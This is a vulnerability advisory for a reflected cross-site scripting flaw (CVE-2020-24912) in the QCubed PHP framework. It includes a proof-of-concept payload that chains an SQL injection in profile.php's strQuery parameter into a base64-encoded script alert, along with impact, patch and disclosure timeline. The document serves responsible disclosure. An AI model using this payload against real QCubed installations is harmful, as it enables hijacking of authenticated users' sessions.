QCubed 3.1.1 Cross Site Scripting

`  
QCube Cross-Site-Scripting  
======================  
| Identifier: | AIT-SA-20210215-03 |  
| Target: | QCubed Framework |  
| Vendor: | QCubed |  
| Version: | all versions including 3.1.1 |  
| CVE: | CVE-2020-24912 |  
| Accessibility: | Remote |  
| Severity: | High |  
| Author: | Wolfgang Hotwagner (AIT Austrian Institute of Technology) |  
  
SUMMARY  
=======  
QCubed is a PHP Model-View-Controller Rappid Application Development framework. (https://github.com/qcubed/qcubed)  
  
VULNERABILITY DESCRIPTION  
=========================  
A reflected cross-site scripting (XSS) vulnerability in qcubed (all versions including 3.1.1) in profile.php via the stQuery-parameter allows unauthenticated attackers to steal sessions of authenticated users.  
  
PROOF OF CONCEPT  
=================  
The XSS occurs because the SQL-output in profile.php is not sanitized properly. Since we are able to tamper the output using a SQL-injection(CVE-2020-24913), we can easily output a common XSS string.  
  
We use the following payload(unencoded):  
  
```  
a:1:{i:0;a:3:{s:12:"objBacktrace";a:1:{s:4:"args";a:1:{i:0;s:3:"PWN";}}s:8:"strQuery";s:112:"select version(); select convert_from(decode($$PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4K$$,$$base64$$),$$utf-8$$)";s:11:"dblTimeInfo";s:1:"1";}}  
```  
  
PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4K is unencoded:  
  
```  
"<script>alert(‘xss’)</script>"  
```  
  
VULNERABLE VERSIONS  
===================  
All versions including 3.1.1 are affected.  
  
  
TESTED VERSIONS  
===============  
QCubed 3.1.1  
  
IMPACT  
======  
An unauthenticated attacker could steal sessions of authenticated users.  
  
MITIGATION  
==========  
  
A patch was delivered by QCubed that allows to disable the profile-functionality( https://github.com/qcubed/qcubed/pull/1320/files ).  
  
VENDOR CONTACT TIMELINE  
=======================   
  
| 2020-04-19 | Contacting the vendor |  
| 2020-04-19 | Vendor replied |  
| 2020-05-01 | Vendor released a patch at Github |  
| 2021-02-15 | Public disclosure |  
  
ADVISORY URL  
============  
[https://www.ait.ac.at/ait-sa-20210215-03-xss-qcubed](https://www.ait.ac.at/ait-sa-20210215-03-xss-qcubed)  
  
  
  
  
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